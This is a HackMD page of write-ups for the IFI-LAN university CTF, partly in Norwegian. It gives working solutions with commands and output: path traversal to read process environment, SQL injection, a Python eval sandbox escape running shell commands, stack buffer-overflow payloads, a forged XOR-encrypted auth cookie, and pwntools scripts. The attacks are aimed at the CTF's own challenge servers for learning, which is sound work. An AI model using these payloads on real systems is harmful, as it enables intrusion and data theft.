IFI-LAN CTF - HackMD

# IFI-LAN CTF :) Flag: `UiO-CTF{h4$h_cOOk13s_4re_m7_f4VoR1t3}` ## Misc ### Hawkeye “Come Amara, play with me. Let's finish our game of hide and seek…” “Don't hide yourself from the world and don't let the world hide himself from you!” * https://ctf.uioctf.no/files/2cd9655aa805f7835634007c07de56d4/WSG.jpg ``` $ steghide extract -sf WSG.jpg -p watchcom -xf output.txt the file "output.txt" does already exist. overwrite ? (y/n) y wrote extracted data to "output.txt". oklien@oklien-thinkpad:~/Documents/ctf/ifi$ oklien@oklien-thinkpad:~/Documents/ctf/ifi$ cat output.txt �PNG IHDRE^�kIsRGB��gAMA�� a pHYs��o�dtEXtSoftwareGreenshot^�IDATx^�XAv�0 �h'��&��颛.X�a�{d[�$c§�M5ϯ/G��4 ��@ �� @`?��v8|��o�c��v<?��-˧�x^d|��`��8|=�{��\9N��p��c9�)�9�$��P*�2��()��⁲��O�l��J]��򚢶��>y-��)Z��h�K��cRH�a�r�/��#��s�il��P=E^ϊx0��j5n�� H� ��3��U� ��J~��uۚ ��=6��9�?��Y��'��D[��.-��0��g*9l��V �8p��?ˡd�<@y](Q�1��ǜ�Q3Bc��\�R��ȫ�A��\m��=�n(Q:]QS��&J~��r��w;�f*F�F�u��B^W��[X��h~��a ��lu� [��]��-�~fh��YL��ٙ�V�%�scU�̼�Td��~�Z�\�F:0�NE��>�g��#y��z�;�Z��Z��|�M׫��~:@d�~�γ�.�<"��X�~b��̅S�0�9^�9ں�s>OZ�{�Ѻ\!�t�,��7c��+��N�y�9C��$��g��L>1��V��Ϲ�hz~F׋��0�Z�� <?�G� i+W�^��% ��J��?��p��a�'�x]��[)�}o�jd��m��q��ׂk�I?{��_�ygNOB��^z~�sHy#;�Sv.�*VG�+<?��|Τ<RR��G��!�>�2?��@,ES�Cz1&P2�:�s]�Hu�uhl��B9��e�<倢��n�R*S��a�6��;ӺS!K-��H�x#ʐ�됗��rꎦj��9�~�#E��Q��<�]��䥺`apY(*qe8�g]��c�?��|{��8f�"W�E��u%VrTR��}��-ޚ��h��*�0 �ф_;�:��w��3��?��nOs �sa��q�g�|��Z?��oy=Y8ߙk��1y2��K4��-�� ޮ/{��ρ��F�9��ρ�~~��PY6�IEND�B`�oklien@oklien-thinkpad:~/Documents/ctf/ifi$ mv output.txt output.png oklien@oklien-thinkpad:~/Documents/ctf/ifi$ file output.png output.png: PNG image data, 325 x 21, 8-bit/color RGB, non-interlaced ``` Flag: `UiO-CTF{i_donT_alwa7s_h1de_but_wh3n_i_d0_i_st3ghide}` ### Burglar easy Author: PewZ Find every file with size 1337, sort the filenames alphabetically and put together the first character from each file (contents) to form the flag. There will be a couple of files with 1337 bytes that aren't correct. `ssh -p 9999 ctf@burglar.uioctf.no The password is ctf.` find / -size 1337c ligger på /opt/uio/ og /etc/uio for i in $(ls -1 | sort -f); do head -c1 $i; done UiO-CTF{shwoo_fft_ah_tetmrnilaw_zirard}y 0_ctf.txt 1_ctf.txt 2_ctf.txt 3_ctf.txt 4_ctf.txt 5_ctf.txt 6_ctf.txt 7_ctf.txt 8_ctf.txt 9_ctf.txt A_ctf.txt a_ctf.txt B_ctf.txt b_ctf.txt C_ctf.txt c_ctf.txt D_ctf.txt d_ctf.txt E_ctf.txt e_ctf.txt F_ctf.txt f_ctf.txt G_ctf.txt g_ctf.txt H_ctf.txt h_ctf.txt I_ctf.txt i_ctf.txt J_ctf.txt j_ctf.txt K_ctf.txt k_ctf.txt L_ctf.txt l_ctf.txt M_ctf.txt m_ctf.txt N_ctf.txt n_ctf.txt O_ctf.txt o_ctf.txt små bokstav før stor, bare stokke om Flag: `UiO-CTF{show_off_that_terminal_wizardry}` ### Dana Bakeri 4 Life easy Author: Deadwolf How does Dana bakery make such great food? We found this meme, which may reveal their secrets 🤔 Photo: MysticSheik * https://ctf.uioctf.no/files/1bb12acfd1ca8255f262079303d1e6ac/varme_litt.png ``` $ zsteg -a varme_litt.png imagedata .. text: "\n\n\n###&&&" b1,rgb,msb,xy .. text: "$Ib;$Gn#" b2,b,msb,xy .. text: "er8UUU,8" b3,rgb,lsb,xy .. text: "G&${P:s9" b4,r,lsb,xy .. text: "vgxDUVfUfw" b4,g,lsb,xy .. text: "WDDDDeT3\"fT2" b4,b,lsb,xy .. text: "%yDC2\"Ex" b4,b,msb,xy .. text: "Us@wwwwL" b5,bgr,lsb,xy .. file: PGP\011Secret Key - b6,b,msb,xy .. text: "][WeU7M]UM7L]" b6,bgr,msb,xy .. text: "6]Z5~Y3e]V" b8,r,lsb,xy .. text: "!UiO-CTF{Club_Mate_+_Varme_Litt?}\n989;<=86778:;<??@@@?><;:865678;:99;<>@;;;99999>==<;:99==<;:9875689;:::99977777;:8778:;<<<<:753?><;:;=<9987664488888888=>><98:<9;=?A@@?A=955320/220-(&'\"$&(-024555443335689:9766677798899:;<<==<<:986537547:<;899::;<<<?=:878:<" ... ``` Flag: `UiO-CTF{Club_Mate_+_Varme_Litt?}` ## Web ### taco3 https://localtaco3.uioctf.no/?taco=../../../../../../../dev/fd/../environ dev/fd er symlink til proc/self/fd file descriptor Flag: `UiO-CTF{reading_the_environment_like_a_pro!!!}` ### You shall OR pass Author: marksome & Inj3ctor G4dget You might need an 💉 to get past this login form. * https://youshallorpass.uioctf.no med: ' OR 1=1 ``` SQL Error: Syntax error in SELECT id FROM users WHERE name=''' OR 1=1' and HASH('' OR 1=1', 'sha1') = passwd ``` Riktig sql injection blir da: ` ') or 1--` Flag: `UiO-CTF{G0_G4dget_G0}` ## PWN ### Calculator I bet you can't hack my calculator! ``` nc ctf.uioctf.no 1337 ----------------- Available commands: - calc: calculator - quit: quit >calc Input math (or 'q' to exit to menu): >e name 'e' is not defined >import sys invalid syntax (<string>, line 1) Input math (or 'q' to exit to menu): >__import__('os') <module 'os' from '/usr/lib/python2.7/os.pyc'> Input math (or 'q' to exit to menu): >os.system('ls') flag.txt server.py 0 Input math (or 'q' to exit to menu): >os.system('cat flag.txt') UiO-CTF{My_Calculator_Is_Not_Secure??}0 Input math (or 'q' to exit to menu): >/opt/wrap.sh: line 2: 274 Alarm clock python2 ./server.py ``` Flag: `UiO-CTF{My_Calculator_Is_Not_Secure??}` ### Overflow 1 easy Author: maritio_o Only the best type of LANers gets the special token of appreciation. Can you prove your one of the awesomest LANers? Here, take the binary file and the source code below for local pwning. To do remote pwning and get the real flag, connect to the remote server: nc overflow1.uioctf.no 6000 ``` $ python -c 'print "A" * 32 + "\x01\x00\x00\x00"' | nc overflow1.uioctf.no 6000 Welcome to the awesomest LAN party! What is your name? I will help you get registered. >Participant registered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Type: 1 Oh I didn't know. You are one of them.. The awesomest LAN participants... Here, take this! > UiO-CTF{CTFers_are_the_most_awesome_LANers} ``` Flag:`UiO-CTF{CTFers_are_the_most_awesome_LANers}` ### Secure Calculator This time I've secured my calculator with super strong hacker protection. ``` nc ctf.uioctf.no 1338 ----------------- Available commands: - play (0): start math quiz - calc (1): calculator [authorized members only!] - quit (2): quit >1 Not authorized to use calculator :/ ----------------- Available commands: - play (0): start math quiz - calc (1): calculator [authorized members only!] - quit (2): quit >0 What is 50 + 70? >120 What is 57 + 62? > ``` ``` import time from pwn import * #context.log_level = 'debug' c = remote('ctf.uioctf.no', 1338) c.recvuntil('>') c.send('0\n') while True: #time.sleep(0.1) question = c.recvline() print question if "authorized" in question: c.interactive() num1=question.split(' ')[2] num2=question.split(' ')[4].replace('?', '') num2=num2[:-1] answer=int(num1)+int(num2) print answer c.send(str(answer)+"\n") c.recvuntil('>') #else: # c.recvline() c.close() ``` ``` >$ ().__class__.__bases__[0].__subclasses__()[40]('flag.txt').read() ``` Flag: `UiO-CTF{Quick_Maths_For_Quick_Hackers!}` ### Pwnylicious Author: maritio_o (Sopra Steria) Hey yall! This binary is so pwnylicious. Take the binary for local pwning, and source code for reversing. Check out the binary file and the source code below! To do remote pwning and get the real flag, connect to the remote server: `nc pwnylicious.uioctf.no 6004` ``` $ readelf -a pwnylicious | grep pwn 40: 00000000 0 FILE LOCAL DEFAULT ABS pwnylicious.c 54: 08048556 43 FUNC GLOBAL DEFAULT 14 be_pwnylicious ``` 08048556 ``` python -c 'print "A" * 32 + "\x56\x85\x04\x08"' | nc pwnylicious.uioctf.no 6004 Did you know Sopra Steria just opened their SOC? Do you know who their first customer is? >WRONG! You died. UiO-CTF{Sopra_Steria_also_knows_how_to_pwn:))))} /opt/wrap.sh: line 2: 217 Segmentation fault (core dumped) ./pwnylicious ``` Flag: `UiO-CTF{Sopra_Steria_also_knows_how_to_pwn:))))}` ### Overflow 2 easy Author: maritio_o This one requires even more control over how the stack works! Take the binary file and the source code below for local pwning. To do remote pwning and get the real flag, connect to the remote server: nc overflow2.uioctf.no 6001 ```c #define GAMER 0 #define CTFER 1 struct participant { char answer[48]; short userid; char gender; int8_t type; int birth_year; long long birth_date; float weight; uint32_t phone_number; }; int security_check(struct participant participant) { if (participant.userid != 1337) { return 0; } if (participant.gender != 'F') { return 0; } if (participant.type != CTFER) { return 0; } if (participant.birth_year != 1337) { return 0; } if (participant.birth_date != 13371337) { return 0; } if (participant.weight != 13.37f) { return 0; } if (participant.phone_number != 98761234) { return 0; } return 1; } ``` ``` $ python -c 'print "A" * 48 + "\x39\x05" + "\x46" + "\x01" + "\x39\x05\x00\x00" + "\xc9\x07\xcc\x00\x00\x00\x00\x00" + "\x85\xeb\x55\x41" + "\x12\xfa\xe2\x05"' | nc overflow2.uioctf.no 6001 __________ | __ __ | | | || | | | | || | | | |__||__| | | __ __()| | | || | | | | || | | | | || | | | | || | | | |__||__| | __________ |__________| _________ Want to enter this cool door? >Participant: User ID: 1337 Gender: 70 Type: 1 Birth year: 1337 Birth date: 13371337 Weight: 13.370000 Phone number: 98761234 COOL. Security check done. You may enter. And don't forget to take this flag!> UiO-CTF{pwn_is_super_fun_when_understanding_the_stack!!} ``` Flag: `UiO-CTF{pwn_is_super_fun_when_understanding_the_stack!!}` --- ## Revering ### Pinned Pizza Author: Dulte They are tired of us stealing their pizza, so they have hidden it inside a safe with a PIN. We have got hold of the program. Can you find the PIN. With the PIN you can get the flag from here nc pizzapin.uioctf.no 5001 * https://ctf.uioctf.no/files/f45aefff6da6d9dc430af6c68312767f/pizzapin reverse binær, get_pin() funksjonen ```c #include <stdio.h> int get_pin() { int var_8 = 0x4; for (int var_4 = 0x32; var_4 <= 0x34; var_4 = var_4 + 0x1) { var_8 = var_8 + var_4; } int rax = (var_8 - 0xa << 0x2) + (var_8 - 0xa) + (var_8 - 0xa << 0x2) + (var_8 - 0xa); return rax; } int main() { printf("PIN %d\n" , get_pin()); } ``` Kjørte, fikk: 1470 ``` $ nc pizzapin.uioctf.no 5001 Enter Pin to Get Pizza! 1470 You Found The Pizza! UiO-CTF{no_pin_can_stop_me} ``` Flag: `UiO-CTF{no_pin_can_stop_me}` ### The Key to Everlasting Pizza Author: Dulte The pizza shop has found a more sofisticated way of hiding the pizza. The now have a way to generating different passwords that gives you pizza. Can you crack the code and generate the passwords? nc pizzakey.uioctf.no 5000 * https://ctf.uioctf.no/files/6a257a403a887e4cfecca62ed0eb4fc2/pizzakey ### Rusty https://ctf.uioctf.no/files/0a45908b7aa1ff19590f054414d7738f/sikkerhet.tar.bz2 ## Web ### Military Grate Encryption API URL: https://military.uioctf.no/ API Swagger: https://military.uioctf.no/api/ #### Typescript given: ```ts import { Controller, Get, Req, Res, HttpStatus } from '@nestjs/common'; import { Request, Response } from 'express'; import { ApiUseTags } from '@nestjs/swagger'; import { Secret, Flag } from '../constants/secrets'; @ApiUseTags('flag') @Controller('flag') export class FlagController { @Get('cookie') getToken() { return 'cCwKBi1VJBY5Jh8FV1AJWH1KVnpdR2Njd0ZbdgFE'; } @Get('info') getInfo(@Req() req: Request, @Res() res: Response) { let b64cookie = new Buffer(req.headers.cookie, 'base64'); /* Decode base64 */ let cookie = b64cookie.toString(); if (!cookie || cookie.length < 30) { res.status(HttpStatus.UNAUTHORIZED).send('Unauthorized'); return; } /* Decrypting our military grade encryption */ let decryptedCookie = this.decrypt(cookie, 30); console.log('Decrypted info cookie: ', decryptedCookie); if (decryptedCookie.includes('Scope=') && decryptedCookie.includes('read:info')){ res.status(HttpStatus.OK).send('This is some cool info.'); return; } res.status(HttpStatus.UNAUTHORIZED).send('Unauthorized'); } @Get('flag') getFlag(@Req() req: Request, @Res() res: Response) { let b64cookie = new Buffer(req.headers.cookie, 'base64'); /* Decode base64 */ let cookie = b64cookie.toString(); if (!cookie || cookie.length < 30) { res.status(HttpStatus.UNAUTHORIZED).send('Unauthorized'); return; } /* Decrypting our military grade encryption */ let decryptedCookie = this.decrypt(cookie, 30); console.log('Decrypted flag cookie: ', decryptedCookie); if (decryptedCookie.includes('Scope=') && decryptedCookie.includes('read:flag')){ res.status(HttpStatus.OK).send(Flag); return; } res.status(HttpStatus.UNAUTHORIZED).send('Unauthorized'); } decrypt = function(cookie: string, length: number): string { /* Strings in Javascript are immutable. * Convert string to array for XOR encryption */ let cookieArray: string[] = cookie.split(""); for(let i = 0; i < length; i++) { /* XOR operation (^) requires integer */ let xor = Secret.charCodeAt(i) ^ cookie.charCodeAt(i); cookieArray[i] = String.fromCharCode(xor); } return cookieArray.join(''); }; } ``` #### Solution Python script for deriving the key via known plaintext attack. Known plaintext: `Scope= read:flag` ```python from base64 import b64decode, b64encode plain_info = "Scope= read:info" # 30 bytes string plain_flag = "Scope= read:flag" # 30 bytes string cookie = b64decode("cCwKBi1VJBY5Jh8FV1AJWH1KVnpdR2Njd0ZbdgFE").decode() # derive key for /flag/info key_list = [] for i in range(len(plain_info)): b = ord(plain_info[i]) ^ ord(cookie[i]) key_list.append(b) key_bytes = "".join(map(chr, key_list)) key_base64 = b64encode(key_bytes.encode()) print("Cookie (info): '{}'".format(key_base64.decode())) # key verification for info plain_list = [] for i in range(len(key_bytes)): b = ord(key_bytes[i]) ^ ord(cookie[i]) plain_list.append(b) print("Verified plaintext (info): '{}'".format("".join(map(chr, plain_list)))) # derive key for /flag/flag key_list = [] for i in range(len(plain_flag)): b = ord(plain_flag[i]) ^ ord(cookie[i]) key_list.append(b) key_bytes = "".join(map(chr, key_list)) key_base64 = b64encode(key_bytes.encode()) print("Cookie (flag): '{}'".format(key_base64.decode())) # key verification for flag plain_list = [] for i in range(len(key_bytes)): b = ord(key_bytes[i]) ^ ord(cookie[i]) plain_list.append(b) print("Verified plaintext (flag): '{}'".format("".join(map(chr, plain_list)))) ``` ##### Output from script ``` Cookie (info): 'I09ldkhoBDYZBj8ld3ApeF1qdlp9NQYCE3wyGGcr' Verified plaintext (info): 'Scope= read:info' Cookie (flag): 'I09ldkhoBDYZBj8ld3ApeF1qdlp9NQYCE3w9GmAj' Verified plaintext (flag): 'Scope= read:flag' ``` ##### Get the flag ``` $ curl -X GET https://military.uioctf.no/flag/flag -H "accept: application/json" --cookie "base64=I09ldkhoBDYZBj8ld3ApeF1qdlp9NQYCE3w9GmAj" $ curl -X GET https://military.uioctf.no/flag/info -H "accept: application/json" --cookie "base64=I09ldkhoBDYZBj8ld3ApeF1qdlp9NQYCE3wyGGcr" ``` ## Crypto ### Weapons of Mass Encryption easy challenging Author: cyanboy Decrypt all the nuclear launch codes! `nc ancient.uioctf.no 6969` etter manuell testing, rot22. må automatisere. ``` import time from pwn import * alph="abcdefghijklmnopqrstuvwxyz" rot13_table = dict(zip(alph, alph[22:]+alph[:22])) # lowercase character mappings rot13_table.update((c.upper(),rot13_table[c].upper()) for c in alph) # upppercase def rot13(s): return "".join(rot13_table.get(c, c) for c in s) context.log_level = 'debug' c = remote('ancient.uioctf.no', 6969) c.recvuntil('START DECRYPTION') while True: #time.sleep(0.1) line = c.recvuntil('->') print line rot22 = line.split(': ')[1].replace(' ->', '') print rot22 print rot13(rot22) c.send(rot13(rot22) + '\n') c.close() ``` etter en del kjøring: ``` [0x7f]: wempjmwl lsvwi kecep gexxpi -> wempjmwl lsvwi kecep gexxpi sailfish horse gayal cattle [DEBUG] Sent 0x1c bytes: 'sailfish horse gayal cattle\n' [DEBUG] Received 0x36 bytes: 'DECRYPTION SUCCESSFUL\n' 'UiO-CTF{hail_to_the_caesar_bby}\n' ``` Flag: `UiO-CTF{hail_to_the_caesar_bby}`

Syntax	Example	Reference
# Header	Header	基本排版
- Unordered List	Unordered List
1. Ordered List	Ordered List
- [ ] Todo List	Todo List
> Blockquote	Blockquote
Bold font	Bold font
Italics font	Italics font
~~Strikethrough~~	~~Strikethrough~~
19^th^	19^th
H~2~O	H₂O
++Inserted text++	Inserted text
==Marked text==	Marked text
[link text](https:// "title")	Link
![image alt](https:// "title")	Image
`Code`	`Code`	在筆記中貼入程式碼
```javascript var i = 0; ```	`var i = 0;`
:smile:		Emoji list
{%youtube youtube_id %}	Externals
$L^aT_eX$	L^aT_eX
:::info This is a alert area. :::	This is a alert area.